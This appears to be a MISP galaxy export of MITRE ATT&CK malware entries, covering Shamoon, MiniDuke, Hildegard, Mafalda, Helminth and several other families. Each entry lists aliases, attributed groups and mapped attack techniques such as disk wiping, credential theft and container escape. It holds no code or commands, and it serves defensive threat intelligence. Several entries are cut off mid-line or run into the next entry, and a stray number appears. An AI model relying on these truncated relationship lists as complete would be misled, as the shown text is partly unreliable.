[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

The tag is: *misp-galaxy:mitre-malware="Shamoon - S0140"*

Shamoon - S0140 is also known as:

- Shamoon
- Disttrack

View relationships graph

Shamoon - S0140 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 6631. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0140">https://attack.mitre.org/software/S0140</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/">https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/shamoon-attacks">https://www.symantec.com/connect/blogs/shamoon-attacks</a></td>
</tr>
</tbody>
</table>

**Wiper - S0041**

[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)

The tag is: **misp-galaxy:mitre-malware="Wiper - S0041"**

View relationships graph

Wiper - S0041 has relationships with:


Table 6632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0041">https://attack.mitre.org/software/S0041</a></td>
</tr>
</tbody>
</table>

**MiniDuke - S0051**

[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and
backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)

The tag is: `misp-galaxy:mitre-malware="MiniDuke - S0051"`

MiniDuke - S0051 is also known as:

- MiniDuke

View relationships graph

MiniDuke - S0051 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 6633. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0051">https://attack.mitre.org/software/S0051</a></td>
</tr>
</tbody>
</table>

**POSHSPY - S0150**

[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)
The tag is: misp-galaxy:mitre-malware="POSHSPY - S0150"

POSHSPY - S0150 is also known as:

- POSHSPY

View relationships graph

POSHSPY - S0150 has relationships with:

- similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0150">https://attack.mitre.org/software/S0150</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html">https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html</a></td>
</tr>
</tbody>
</table>

Ixeshe - S0015

Ixeshe (https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)

The tag is: misp-galaxy:mitre-malware="Ixeshe - S0015"

Ixeshe - S0015 is also known as:

- Ixeshe
Ixeshe - S0015 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0015">https://attack.mitre.org/software/S0015</a></td>
</tr>
</tbody>
</table>
PipeMon - S0501

PipeMon - S0501 is a multi-stage modular backdoor used by the Winnti Group. (Citation: ESET PipeMon May 2020)

The tag is: misp-galaxy:mitre-malware="PipeMon - S0501"

PipeMon - S0501 is also known as:

- PipeMon

View relationships graph

PipeMon - S0501 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0501">https://attack.mitre.org/software/S0501</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/">https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/</a></td>
</tr>
</tbody>
</table>

**HDoor - S0061**

[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)

The tag is: `misp-galaxy:mitre-malware="HDoor - S0061"`

**HDoor - S0061** is also known as:

- HDoor
- Custom HDoor

View relationships graph

**HDoor - S0061** has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
Hildegard - S0601

[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)

The tag is: `misp-galaxy:mitre-malware="Hildegard - S0601"`

Hildegard - S0601 is also known as:

- Hildegard

View relationships graph

Hildegard - S0601 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Escape to Host - T1611"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6638. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0601">https://attack.mitre.org/software/S0601</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamnt/">https://unit42.paloaltonetworks.com/hildegard-malware-teamnt/</a></td>
</tr>
</tbody>
</table>

3590
Mafalda - S1060

[Mafalda](https://attack.mitre.org/software/S1060) is a flexible interactive implant that has been used by [Metador](https://attack.mitre.org/groups/G1013). Security researchers assess the [Mafalda](https://attack.mitre.org/software/S1060) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)

The tag is: `misp-galaxy:mitre-malware="Mafalda - S1060"`

Mafalda - S1060 is also known as:

- Mafalda

**View relationships graph**

Mafalda - S1060 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

**SideTwist - S0610**

[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)

The tag is: `misp-galaxy:mitre-malware="SideTwist - S0610"`

SideTwist - S0610 is also known as:

• SideTwist

**View relationships graph**

SideTwist - S0610 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0610">https://attack.mitre.org/software/S0610</a></td>
</tr>
</tbody>
</table>

**BISCUIT - S0017**

[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)

The tag is: `misp-galaxy:mitre-malware="BISCUIT - S0017"`

BISCUIT - S0017 is also known as:

- BISCUIT

View relationships graph

BISCUIT - S0017 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-
Helminth - S0170

[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)

The tag is: `misp-galaxy:mitre-malware="Helminth - S0170"`

Helminth - S0170 is also known as:

- Helminth

View relationships graph

Helminth - S0170 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="Helminth"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0170">https://attack.mitre.org/software/S0170</a></td>
</tr>
</tbody>
</table>
**hcdLoader - S0071**

[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-malware="hcdLoader - S0071"*

hcdLoader - S0071 is also known as:

- hcdLoader

View relationships graph

hcdLoader - S0071 has relationships with:

- similar: *misp-galaxy:rat="hcdLoader"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"* with estimative-language:likelihood-probability="almost-certain"

**Table 6643. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0071">https://attack.mitre.org/software/S0071</a></td>
</tr>
</tbody>
</table>

**Elise - S0081**

[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Elise - S0081"*

Elise - S0081 is also known as:

- Elise
- BKDR_ESILE
- Page

View relationships graph

Elise - S0081 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"* with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
Fakecalls - S1080

[Fakecalls](https://attack.mitre.org/software/S1080) is an Android trojan, first detected in January 2021, that masquerades as South Korean banking apps. It has capabilities to intercept calls to banking institutions and even maintain realistic dialogues with the victim using pre-recorded audio snippets.(Citation: kaspersky_fakecalls_0422)

The tag is: `misp-galaxy:mitre-malware="Fakecalls - S1080"`

Fakecalls - S1080 is also known as:

- Fakecalls

View relationships graph

Fakecalls - S1080 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with `estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Call Control - T1616"` with `estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with `estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with `estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with `estimative-language:likelihood-probability="almost-certain"
Sykipot - S0018

[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

The tag is: *misp-galaxy:mitre-malware*="Sykipot - S0018"

Sykipot - S0018 is also known as:

- Sykipot

View relationships graph

Sykipot - S0018 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
